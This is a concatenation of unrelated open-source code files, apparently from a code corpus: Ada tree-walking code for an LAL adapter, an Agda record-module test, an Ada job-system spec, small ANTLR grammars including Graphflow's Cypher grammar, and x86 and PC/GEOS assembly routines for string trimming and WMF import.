This.Element_IDs.Prepend (Get_Element_ID (Node));
-- Log ( " Elem ID: " & To_String(Get_Element_ID (Node)));
This.Dot_Node.Node_ID.ID :=
To_Dot_ID_Type (This.Element_IDs.First_Element, Element_ID_Kind);
-- Result.Debug_Image := Debug_Image;
-- Put_Debug;
Add_Element_ID;
Add_Node_Kind;
Add_Enclosing_Element;
Add_Source_Location;
end Start_Output;
procedure Finish_Output is
-- Parent_Name : constant String := Module_Name;
-- Module_Name : constant String := Parent_Name & ".Finish_Output";
-- package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
begin
This.Dot_Node.Add_Label (This.Dot_Label);
This.Outputs.Graph.Append_Stmt
(new Dot.Node_Stmt.Class'(This.Dot_Node));
-- Depends on unique node ids:
This.Outputs.A_Nodes.Push (Result);
end Finish_Output;
use LALCO; -- For subtype names in case stmt
-- use type LALCO.Ada_Node_Kind_Type; -- For "="
begin -- Do_Pre_Child_Processing
-- Log ("Line" & Start_Line_Image & ": " & Kind_Image & ": " & Debug_Text);
-- if Node.Kind /= LALCO.Ada_Compilation_Unit then
Log ("Kind enum: " & Kind_Image & "; Kind name: " & Kind_Name & " at " & Sloc_Range_Image);
Start_Output;
-- Log (LAL.Image(Node));
-- if Kind in LALCO.Ada_Stmt then
-- Log ("Statement");
-- else
-- Log ("NOT a statement");
-- end if;
--
case Kind is
-- 3 included kinds:
when Ada_Abort_Node'First .. Ada_Abort_Node'Last =>
This.Process_Ada_Abort_Node (Node);
-- 3 included kinds:
when Ada_Abstract_Node'First .. Ada_Abstract_Node'Last =>
This.Process_Ada_Abstract_Node (Node);
-- 30 included kinds:
when Ada_Ada_List'First .. Ada_Ada_List'Last =>
This.Process_Ada_Ada_List (Node);
-- 3 included kinds:
when Ada_Aliased_Node'First .. Ada_Aliased_Node'Last =>
This.Process_Ada_Aliased_Node (Node);
-- 3 included kinds:
when Ada_All_Node'First .. Ada_All_Node'Last =>
This.Process_Ada_All_Node (Node);
-- 3 included kinds:
when Ada_Array_Indices'First .. Ada_Array_Indices'Last =>
This.Process_Ada_Array_Indices (Node);
-- 1 included kinds:
when Ada_Aspect_Assoc_Range'First .. Ada_Aspect_Assoc_Range'Last =>
This.Process_Ada_Aspect_Assoc_Range (Node);
-- 5 included kinds:
when Ada_Aspect_Clause'First .. Ada_Aspect_Clause'Last =>
This.Process_Ada_Aspect_Clause (Node);
-- 2 included kinds:
when Ada_Aspect_Spec_Range'First .. Ada_Aspect_Spec_Range'Last =>
this.process_ada_aspect_spec_range (node);
-- 3 included kinds:
when Ada_Base_Assoc'First .. Ada_Base_Assoc'Last =>
this.process_ada_Base_Assoc (node);
-- 3 included kinds:
when Ada_Base_Formal_Param_Holder'First .. Ada_Base_Formal_Param_Holder'Last =>
this.process_ada_Base_Formal_Param_Holder (node);
-- 3 included kinds:
when Ada_Base_Record_Def'First .. Ada_Base_Record_Def'Last =>
this.process_ada_Base_Record_Def (node);
-- 5 included kinds:
when Ada_Basic_Assoc'First .. Ada_Basic_Assoc'Last =>
this.process_ada_Basic_Assoc (node);
-- 74 included kinds:
when Ada_Basic_Decl'First .. Ada_Basic_Decl'Last =>
This.Process_Ada_Basic_Decl (Node);
-- 1 included kinds:
when Ada_Case_Stmt_Alternative_Range'First .. Ada_Case_Stmt_Alternative_Range'Last =>
This.Process_Ada_Case_Stmt_Alternative_Range (Node);
-- 1 included kinds:
when Ada_Compilation_Unit_Range'First .. Ada_Compilation_Unit_Range'Last =>
This.Process_Ada_Compilation_Unit_Range (Node);
-- 1 included kinds:
when Ada_Component_Clause_Range'First .. Ada_Component_Clause_Range'Last =>
This.Process_Ada_Component_Clause_Range (Node);
-- 1 included kinds:
when Ada_Component_Def_Range'First .. Ada_Component_Def_Range'Last =>
This.Process_Ada_Component_Def_Range (Node);
-- 6 included kinds:
when Ada_Constraint'First .. Ada_Constraint'Last =>
This.Process_Ada_Constraint (Node);
-- 3 included kinds:
when Ada_Constant_Node'First .. Ada_Constant_Node'Last =>
This.Process_Ada_Constant_Node (Node);
-- 3 included kinds:
when Ada_Declarative_Part_Range'First .. Ada_Declarative_Part_Range'Last =>
This.Process_Ada_Declarative_Part_Range (Node);
-- 1 included kinds:
when Ada_Elsif_Expr_Part_Range'First .. Ada_Elsif_Expr_Part_Range'Last =>
This.Process_Ada_Elsif_Expr_Part_Range (Node);
-- 1 included kinds:
when Ada_Elsif_Stmt_Part_Range'First .. Ada_Elsif_Stmt_Part_Range'Last =>
This.Process_Ada_Elsif_Stmt_Part_Range (Node);
-- 60 included kinds:
when Ada_Expr'First .. Ada_Expr'Last =>
This.Process_Ada_Expr (Node);
-- 1 included kinds:
when Ada_Handled_Stmts_Range'First .. Ada_Handled_Stmts_Range'Last =>
This.Process_Ada_Handled_Stmts_Range (Node);
-- 5 included kinds:
when Ada_Interface_Kind'First .. Ada_Interface_Kind'Last =>
This.Process_Ada_Interface_Kind (Node);
-- 3 included kinds:
when Ada_Iter_Type'First .. Ada_Iter_Type'Last =>
This.Process_Ada_Iter_Type (Node);
-- 2 included kinds:
when Ada_Library_Item_Range'First .. Ada_Library_Item_Range'Last =>
This.Process_Ada_Library_Item_Range (Node);
-- 3 included kinds:
when Ada_Limited_Node'First .. Ada_Limited_Node'Last =>
This.Process_Ada_Limited_Node (Node);
-- 3 included kinds:
when Ada_Loop_Spec'First .. Ada_Loop_Spec'Last =>
This.Process_Ada_Loop_Spec (Node);
-- 3 included kinds:
when Ada_Mode'First .. Ada_Mode'Last =>
This.Process_Ada_Mode (Node);
-- 3 included kinds:
when Ada_Not_Null'First .. Ada_Not_Null'Last =>
This.Process_Ada_Not_Null (Node);
-- 2 included kinds:
when Ada_Null_Component_Decl_Range'First .. Ada_Null_Component_Decl_Range'Last =>
This.Process_Ada_Null_Component_Decl_Range (Node);
-- 2 included kinds:
when Ada_Others_Designator_Range'First .. Ada_Others_Designator_Range'Last =>
This.Process_Ada_Others_Designator_Range (Node);
-- 4 included kinds:
when Ada_Overriding_Node'First .. Ada_Overriding_Node'Last =>
This.Process_Ada_Overriding_Node (Node);
-- 4 included kinds:
when Ada_Params_Range'First .. Ada_Params_Range'Last =>
This.Process_Ada_Params_Range (Node);
-- 4 included kinds:
when Ada_Pragma_Node_Range'First .. Ada_Pragma_Node_Range'Last =>
This.Process_Ada_Pragma_Node_Range (Node);
-- 4 included kinds:
when Ada_Prim_Type_Accessor_Range'First .. Ada_Prim_Type_Accessor_Range'Last =>
This.Process_Ada_Prim_Type_Accessor_Range (Node);
-- 4 included kinds:
when Ada_Private_Node'First .. Ada_Private_Node'Last =>
This.Process_Ada_Private_Node (Node);
-- 4 included kinds:
when Ada_Protected_Node'First .. Ada_Protected_Node'Last =>
This.Process_Ada_Protected_Node (Node);
-- 4 included kinds:
when Ada_Protected_Def_Range'First .. Ada_Protected_Def_Range'Last =>
This.Process_Ada_Protected_Def_Range (Node);
-- 3 included kinds:
when Ada_Quantifier'First .. Ada_Quantifier'Last =>
This.Process_Ada_Quantifier (Node);
-- 2 included kinds:
when Ada_Range_Spec_Range'First .. Ada_Range_Spec_Range'Last =>
This.Process_Ada_Range_Spec_Range (Node);
-- 3 included kinds:
when Ada_Renaming_Clause_Range'First .. Ada_Renaming_Clause_Range'Last =>
This.Process_Ada_Renaming_Clause_Range (Node);
-- 3 included kinds:
when Ada_Reverse_Node'First .. Ada_Reverse_Node'Last =>
This.Process_Ada_Reverse_Node (Node);
-- 2 included kinds:
when Ada_Select_When_Part_Range'First .. Ada_Select_When_Part_Range'Last =>
This.Process_Ada_Select_When_Part_Range (Node);
-- 31 (25?) included kinds:
when Ada_Stmt'First .. Ada_Stmt'Last =>
-- Log ("Tag: " & Ada.Tags.Expanded_Name (Node'Tag));
-- This.Process_Ada_Stmt (LAL.Stmt'Class (Node), Outputs);
This.Process_Ada_Stmt (Node);
-- 3 included kinds:
when Ada_Subp_Kind'First .. Ada_Subp_Kind'Last =>
This.Process_Ada_Subp_Kind (Node);
-- 2 included kinds:
when Ada_Subunit_Range'First .. Ada_Subunit_Range'Last =>
This.Process_Ada_Subunit_Range (Node);
-- 3 included kinds:
when Ada_Synchronized_Node'First .. Ada_Synchronized_Node'Last =>
This.Process_Ada_Synchronized_Node (Node);
-- 3 included kinds:
when Ada_Tagged_Node'First .. Ada_Tagged_Node'Last =>
This.Process_Ada_Tagged_Node (Node);
-- 2 included kinds:
when Ada_Task_Def_Range'First .. Ada_Task_Def_Range'Last =>
This.Process_Ada_Task_Def_Range (Node);
-- 17 included kinds:
when Ada_Type_Def'First .. Ada_Type_Def'Last =>
This.Process_Ada_Type_Def (Node);
-- 5 included kinds:
when Ada_Type_Expr'First .. Ada_Type_Expr'Last =>
This.Process_Ada_Type_Expr (Node);
-- 2 included kinds:
when Ada_Unconstrained_Array_Index_Range'First .. Ada_Unconstrained_Array_Index_Range'Last =>
This.Process_Ada_Unconstrained_Array_Index_Range (Node);
-- 3 included kinds:
when Ada_Until_Node'First .. Ada_Until_Node'Last =>
This.Process_Ada_Until_Node (Node);
-- 3 included kinds:
when Ada_Use_Clause'First .. Ada_Use_Clause'Last =>
This.Process_Ada_Use_Clause (Node);
-- 2 included kinds:
when Ada_Variant_Range'First .. Ada_Variant_Range'Last =>
This.Process_Ada_Variant_Range (Node);
-- 2 included kinds:
when Ada_Variant_Part_Range'First .. Ada_Variant_Part_Range'Last =>
This.Process_Ada_Variant_Part_Range (Node);
-- 2 included kinds:
when Ada_With_Clause_Range'First .. Ada_With_Clause_Range'Last =>
This.Process_Ada_With_Clause_Range (Node);
-- 3 included kinds:
when Ada_With_Private'First .. Ada_With_Private'Last =>
This.Process_Ada_With_Private (Node);
-- when Ada_Abort_Node'First .. Ada_Abort_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Abstract_Node'First .. Ada_Abstract_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Ada_List'First .. Ada_Ada_List'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Aliased_Node'First .. Ada_Aliased_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_All_Node'First .. Ada_All_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Array_Indices'First .. Ada_Array_Indices'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Aspect_Assoc_Range'First .. Ada_Aspect_Assoc_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Aspect_Clause'First .. Ada_Aspect_Clause'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Aspect_Spec_Range'First .. Ada_Aspect_Spec_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Base_Assoc'First .. Ada_Base_Assoc'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Base_Formal_Param_Holder'First .. Ada_Base_Formal_Param_Holder'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Base_Record_Def'First .. Ada_Base_Record_Def'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Basic_Assoc'First .. Ada_Basic_Assoc'Last =>
-- This.Add_Not_Implemented;
-- Moved to top:
-- when Ada_Basic_Decl'First .. Ada_Basic_Decl'Last =>
-- when Ada_Case_Stmt_Alternative_Range'First .. Ada_Case_Stmt_Alternative_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Compilation_Unit_Range'First .. Ada_Compilation_Unit_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Component_Clause_Range'First .. Ada_Component_Clause_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Component_Def_Range'First .. Ada_Component_Def_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Constraint'First .. Ada_Constraint'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Constant_Node'First .. Ada_Constant_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Declarative_Part_Range'First .. Ada_Declarative_Part_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Elsif_Expr_Part_Range'First .. Ada_Elsif_Expr_Part_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Elsif_Stmt_Part_Range'First .. Ada_Elsif_Stmt_Part_Range'Last =>
-- This.Add_Not_Implemented;
-- Moved to top:
-- when Ada_Expr'First .. Ada_Expr'Last =>
-- when Ada_Handled_Stmts_Range'First .. Ada_Handled_Stmts_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Interface_Kind'First .. Ada_Interface_Kind'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Iter_Type'First .. Ada_Iter_Type'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Library_Item_Range'First .. Ada_Library_Item_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Limited_Node'First .. Ada_Limited_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Loop_Spec'First .. Ada_Loop_Spec'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Mode'First .. Ada_Mode'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Not_Null'First .. Ada_Not_Null'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Null_Component_Decl_Range'First .. Ada_Null_Component_Decl_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Others_Designator_Range'First .. Ada_Others_Designator_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Overriding_Node'First .. Ada_Overriding_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Params_Range'First .. Ada_Params_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Pragma_Node_Range'First .. Ada_Pragma_Node_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Prim_Type_Accessor_Range'First .. Ada_Prim_Type_Accessor_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Private_Node'First .. Ada_Private_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Protected_Node'First .. Ada_Protected_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Protected_Def_Range'First .. Ada_Protected_Def_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Quantifier'First .. Ada_Quantifier'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Range_Spec_Range'First .. Ada_Range_Spec_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Renaming_Clause_Range'First .. Ada_Renaming_Clause_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Reverse_Node'First .. Ada_Reverse_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Select_When_Part_Range'First .. Ada_Select_When_Part_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Subp_Kind'First .. Ada_Subp_Kind'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Subunit_Range'First .. Ada_Subunit_Range'Last =>
-- This.Add_Not_Implemented;
-- Moved to top:
-- when Ada_Stmt'First .. Ada_Stmt'Last =>
-- when Ada_Synchronized_Node'First .. Ada_Synchronized_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Tagged_Node'First .. Ada_Tagged_Node'Last =>
-- This.Add_Not_Implemented;
-- Moved to top:
-- when Ada_Type_Def'First .. Ada_Type_Def'Last =>
-- when Ada_Task_Def_Range'First .. Ada_Task_Def_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Type_Expr'First .. Ada_Type_Expr'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Unconstrained_Array_Index_Range'First .. Ada_Unconstrained_Array_Index_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Until_Node'First .. Ada_Until_Node'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Use_Clause'First .. Ada_Use_Clause'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Variant_Range'First .. Ada_Variant_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_Variant_Part_Range'First .. Ada_Variant_Part_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_With_Clause_Range'First .. Ada_With_Clause_Range'Last =>
-- This.Add_Not_Implemented;
-- when Ada_With_Private'First .. Ada_With_Private'Last =>
-- This.Add_Not_Implemented;
end case;
Finish_Output;
-- end if;
exception
when X : External_Error | Internal_Error | Usage_Error =>
raise;
when X: others =>
Log_Exception (X);
Log ("No handler for this exception. Raising Internal_Error");
raise Internal_Error;
end Do_Pre_Child_Processing;
procedure Do_Post_Child_Processing
(This : in out Class) is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Do_Post_Child_Processing";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
begin -- Do_Post_Child_Processing
This.Outputs.Text.End_Line;
This.Outputs.Text.Dedent;
This.Outputs.Text.Put_Indented_Line
(String'("END " & To_String (This.Element_IDs.First_Element)));
This.Element_IDs.Delete_First;
exception
when X : External_Error | Internal_Error | Usage_Error =>
raise;
when X: others =>
Log_Exception (X);
Log ("No handler for this exception. Raising Internal_Error");
raise Internal_Error;
end Do_Post_Child_Processing;
------------
-- Exported:
------------
procedure Process
(This : in out Class;
Node : in LAL.Ada_Node'Class;
-- Options : in Options_Record;
Outputs : in Output_Accesses_Record)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
begin
This.Outputs := Outputs;
Do_Pre_Child_Processing (This, Node);
Do_Post_Child_Processing (This);
end Process;
end Lal_Adapter.Node;
|
test/Succeed/FancyRecordModule.agda | cruhland/agda | 1,989 | 9082 | <filename>test/Succeed/FancyRecordModule.agda
-- Record declarations can now contain arbitrary declarations.
-- These are included in the projection module.
module FancyRecordModule where
data Nat : Set where
zero : Nat
suc : Nat -> Nat
record Exist {A : Set}(P : A -> Set) : Set where
field witness : A
x = witness
field proof : P x
silly : Nat -> Nat
silly zero = zero
silly (suc n) = silly n
postulate
P : Nat -> Set
e : Exist P
data _==_ {A : Set}(x : A) : A -> Set where
refl : x == x
test : Exist.silly e (suc zero) == zero
test = refl
|
examples/src/package_9_jobs.ads | onox/orka | 52 | 7137 | <reponame>onox/orka
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2018 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Orka.Jobs.System;
package Package_9_Jobs is
package Job_System is new Orka.Jobs.System
(Maximum_Queued_Jobs => 4,
Maximum_Job_Graphs => 1);
type Test_Parallel_Job is new Orka.Jobs.Abstract_Parallel_Job with null record;
function Clone_Job
(Job : Orka.Jobs.Parallel_Job_Ptr;
Length : Positive) return Orka.Jobs.Dependency_Array;
overriding
procedure Execute
(Object : Test_Parallel_Job;
Context : Orka.Jobs.Execution_Context'Class;
From, To : Positive);
type Test_Sequential_Job is new Orka.Jobs.Abstract_Job with record
ID : Natural;
end record;
overriding
procedure Execute
(Object : Test_Sequential_Job;
Context : Orka.Jobs.Execution_Context'Class);
end Package_9_Jobs;
|
test/10-perses-right.g4 | nsumner/antlr2pnf | 3 | 5635 | <gh_stars>1-10
grammar test10;
entry: a;
a: c b | d | ;
b: d a | d c;
c: 'c';
d: 'd';
|
Library/Trans/Graphics/Vector/Wmf/Import/importMain.asm | steakknife/pcgeos | 504 | 20241 | <reponame>steakknife/pcgeos
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: importMain.asm
AUTHOR: <NAME>, Jul 13, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
MS 7/13/92 Initial revision
DESCRIPTION:
$Id: importMain.asm,v 1.1 97/04/07 11:24:53 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;----------------------------------------------------------------------------
; Code
;----------------------------------------------------------------------------
include importWMF.asm
ImportCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ImportVectorConvertToTransferItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine converts the passed WMF metafile to a VMChain
transfer item.
CALLED BY: GLOBAL( Impex )
PASS: BP - handle of WMF metafile
DI - handle of VM File
RETURN:
DX:CX - created transfer Item
AX - TransError
BX - mem handle with text error string if AX = TE_CUSTOM
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
MS 7/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ImportVectorConvertToTransferItem proc far
.enter
mov bx,bp
call ImportWMF
.leave
ret
ImportVectorConvertToTransferItem endp
public ImportVectorConvertToTransferItem
ImportCode ends
|
progs/chap05p08-ltrim.asm | HKhademian/AssemblyDandamudi | 1 | 164522 | <reponame>HKhademian/AssemblyDandamudi
%include "lib.asm"
extern ExitProcess
global _start
section .bss
MAX EQU 1000
NULL EQU 0
text1 resb MAX
buffer resb 25
section .code
ltrim:
%define str1 DWORD [EBP+8]
enter 0,0
push ESI
push EDI
push EAX
mov ESI, str1
mov EDI, str1
dec EDI
ltrim_edi:
inc EDI
mov AL, [EDI]
cmp AL, NULL
je ltrim_edi_done
cmp AL, ' '
jne ltrim_edi_done
jmp ltrim_edi
ltrim_edi_done:
dec ESI
dec EDI
ltrim_loop:
inc ESI
inc EDI
mov AL, [EDI]
mov [ESI], AL
cmp AL, NULL
jne ltrim_loop
ltrim_loop_done:
pop EAX
pop EDI
pop ESI
leave
ret
_start:
fgets text1, MAX
push text1
call ltrim
puts text1
_end:
push DWORD 0
call ExitProcess
|
GF-RV/src/main/antlr/ca/waterloo/dsg/graphflow/grammar/Graphflow.g4 | g31pranjal/graphflow-columnar-techniques | 11 | 6530 | <gh_stars>10-100
grammar Graphflow;
oC_Cypher : SP? oC_Statement ( SP? ';' )? SP? EOF ;
oC_Statement : oC_Query ;
oC_Query : oC_RegularQuery
| gF_bplusTreeNodeIndexQuery ;
gF_bplusTreeNodeIndexQuery : gF_bPlusTreeNodeIndexPattern (SP oC_Where)?;
gF_bPlusTreeNodeIndexPattern : CREATE SP INDEX SP gF_indexName SP oC_NodePattern
SP ON SP oC_PropertyOrLabelsExpression;
oC_RegularQuery : oC_SingleQuery ( SP? oC_Union )* ;
oC_Union : UNION SP? oC_SingleQuery
| UNION SP ALL SP? oC_SingleQuery ;
oC_SingleQuery : oC_SinglePartQuery
| oC_MultiPartQuery
;
oC_SinglePartQuery : ( ( oC_ReadingClause SP? )? oC_Return );
oC_MultiPartQuery : ( ( oC_ReadingClause SP? )? oC_With SP? )+ oC_SinglePartQuery ;
oC_ReadingClause : oC_Match ;
oC_With : WITH SP oC_ReturnBody ( SP? oC_Where )?;
oC_Return : RETURN SP oC_ReturnBody ;
oC_ReturnBody : oC_ReturnItems ( SP oC_Order)? ( SP oC_Skip )? ( SP oC_Limit )? ;
oC_ReturnItems : STAR
| ( oC_ReturnItem ( SP? ',' SP? oC_ReturnItem )* )
;
oC_ReturnItem : oC_Expression
| ( oC_Expression SP AS SP gF_Variable )
;
oC_Skip : L_SKIP SP oC_IntegerLiteral ;
oC_Limit : LIMIT SP oC_IntegerLiteral ;
oC_Order : ORDER SP BY SP oC_SortItem ( SP? COMMA SP? oC_SortItem )* ;
oC_SortItem : oC_Expression ( SP? ( ASCENDING | ASC | DESCENDING | DESC ) )? ;
oC_Match : MATCH SP oC_Pattern (SP oC_Where)? ;
oC_Pattern : oC_RelationshipPattern ( SP? COMMA SP? oC_RelationshipPattern )* ;
oC_Where : WHERE SP oC_Expression ;
oC_Expression : oC_OrExpression ;
oC_OrExpression : oC_AndExpression
| oC_OrExpression SP OR SP oC_OrExpression ;
oC_AndExpression : oC_NotExpression
| oC_AndExpression SP AND SP oC_AndExpression ;
oC_NotExpression : ( NOT SP? )? oC_ComparisonExpression ;
oC_ComparisonExpression : oC_AddOrSubtractExpression ( SP? gF_Comparison SP? oC_AddOrSubtractExpression )? ;
oC_AddOrSubtractExpression : oC_MultiplyDivideModuloExpression
| oC_AddOrSubtractExpression SP? PLUS SP? oC_AddOrSubtractExpression
| oC_AddOrSubtractExpression SP? oC_Dash SP? oC_AddOrSubtractExpression ;
oC_MultiplyDivideModuloExpression : oC_PowerOfExpression
| oC_MultiplyDivideModuloExpression SP? STAR SP? oC_MultiplyDivideModuloExpression
| oC_MultiplyDivideModuloExpression SP? FORWARD_SLASH SP? oC_MultiplyDivideModuloExpression
| oC_MultiplyDivideModuloExpression SP? MODULO SP? oC_MultiplyDivideModuloExpression ;
oC_PowerOfExpression : gF_UnaryNegationExpression ( SP? EXPONENT SP? gF_UnaryNegationExpression )? ;
gF_UnaryNegationExpression : (oC_Dash SP?)? oC_PropertyOrLabelsExpression ;
gF_Comparison : EQUAL_TO | NOT_EQUAL_TO |
LESS_THAN | LESS_THAN_OR_EQUAL |
GREATER_THAN | GREATER_THAN_OR_EQUAL |
STARTS_WITH | ENDS_WITH |
CONTAINS ;
oC_PropertyOrLabelsExpression : oC_Atom ( SP? oC_PropertyLookup )? ;
oC_Atom : oC_Literal
| COUNT SP? '(' SP? '*' SP? ')'
| oC_ParenthesizedExpression
| oC_FunctionInvocation
| gF_Variable
;
oC_PropertyLookup : '.' SP? ( gF_Variable ) ;
oC_RelationshipPattern : oC_NodePattern SP? oC_Dash oC_RelationshipDetail oC_RightArrowHead
oC_NodePattern ;
oC_NodePattern : OPEN_ROUND_BRACKET SP? gF_Variable (oC_NodeType)? SP? CLOSE_ROUND_BRACKET ;
oC_NodeType : SP? COLON SP? gF_Variable ;
oC_RelationshipDetail : OPEN_SQUARE_BRACKET gF_Variable? COLON oC_RelationshipLabel
CLOSE_SQUARE_BRACKET oC_Dash;
oC_RelationshipLabel : gF_Variable ;
gF_Variable : ( Characters | UNDERSCORE ) ( Digits | Characters | UNDERSCORE )*;
groupByClause : GROUP SP BY SP oC_PropertyOrLabelsExpression ;
sortByClause : SORT SP BY SP oC_PropertyOrLabelsExpression ;
gF_indexName : gF_Variable ;
oC_ParenthesizedExpression : '(' SP? oC_Expression SP? ')' ;
oC_FunctionInvocation : oC_FunctionName SP? '(' SP? oC_Expression SP? ')' ;
oC_FunctionName : MIN
| MAX
| SUM
;
oC_Literal : oC_NumberLiteral
| oC_BooleanLiteral
| StringLiteral
;
oC_NumberLiteral : ( oC_IntegerLiteral | oC_DoubleLiteral ) ;
oC_IntegerLiteral : Digits ;
oC_DoubleLiteral : Digits DOT Digits ;
oC_BooleanLiteral : TRUE
| FALSE
;
TRUE : T R U E ;
FALSE : F A L S E ;
StringLiteral : QuotedString ;
gf_keyword : MATCH
| CREATE
| ADJ
| LIST
| WHERE
| TRUE
| FALSE
| GROUP
| SORT
| BY
| INDEX
| ON
| RETURN
| WITH
| STARTS
| ENDS
| CONTAINS
| AND
| OR
| L_SKIP
| LIMIT
| ORDER
| ASCENDING
| ASC
| DESCENDING
| DESC
;
SP : ( WHITESPACE )+ ;
WHITESPACE : SPACE
| TAB
| LF
| VT
| FF
| CR
| FS
| GS
| RS
| US
| ' '
| ''
| ' '
| ' '
| ' '
| ' '
| ' '
| ' '
| ' '
| ' '
| ' '
| ' '
| '
'
| '
'
| ' '
| ' '
| ' '
| ' '
| ' '
| Comment
;
/*********** Lexer rules ***********/
fragment EscapedChar : TAB | CR | LF | BACKSPACE | FF | '\\' ( '"' | '\'' | '\\' ) ;
QuotedString : DOUBLE_QUOTE ( EscapedChar | ~( '"' ) )* DOUBLE_QUOTE
| SINGLE_QUOTE ( EscapedChar | ~( '\'' ) )* SINGLE_QUOTE ;
Comment : '/*' .*? '*/'
| '//' ~( '\n' | '\r' )* '\r'? ( '\n' | EOF ) ;
MATCH : M A T C H ;
CREATE : C R E A T E ;
ADJ : A D J ;
LIST : L I S T ;
WHERE : W H E R E ;
GROUP : G R O U P ;
SORT : S O R T ;
BY : B Y ;
INDEX : I N D E X ;
ON : O N ;
RETURN : R E T U R N ;
WITH : W I T H ;
COUNT : C O U N T ;
MIN : M I N ;
MAX : M A X ;
SUM : S U M ;
STARTS : S T A R T S ;
ENDS : E N D S ;
CONTAINS : C O N T A I N S ;
OR : O R ;
AND : A N D ;
NOT : N O T ;
AS : A S ;
L_SKIP : S K I P ;
LIMIT : L I M I T ;
ORDER : O R D E R ;
ASCENDING : A S C E N D I N G ;
ASC : A S C ;
DESCENDING : D E S C E N D I N G ;
DESC : D E S C ;
UNION : U N I O N ;
ALL : A L L ;
fragment SPACE : [ ] ;
fragment TAB : [\t] ;
fragment CR : [\r] ;
fragment LF : [\n] ;
fragment FF : [\f] ;
fragment BACKSPACE : [\b] ;
fragment VT : [\u000B] ;
fragment FS : [\u001C] ;
fragment GS : [\u001D] ;
fragment RS : [\u001E] ;
fragment US : [\u001F] ;
oC_RightArrowHead : '>' ;
STAR : '*' ;
PLUS : '+' ;
MODULO : '%' ;
EXPONENT : '^' ;
oC_Dash : '-' ;
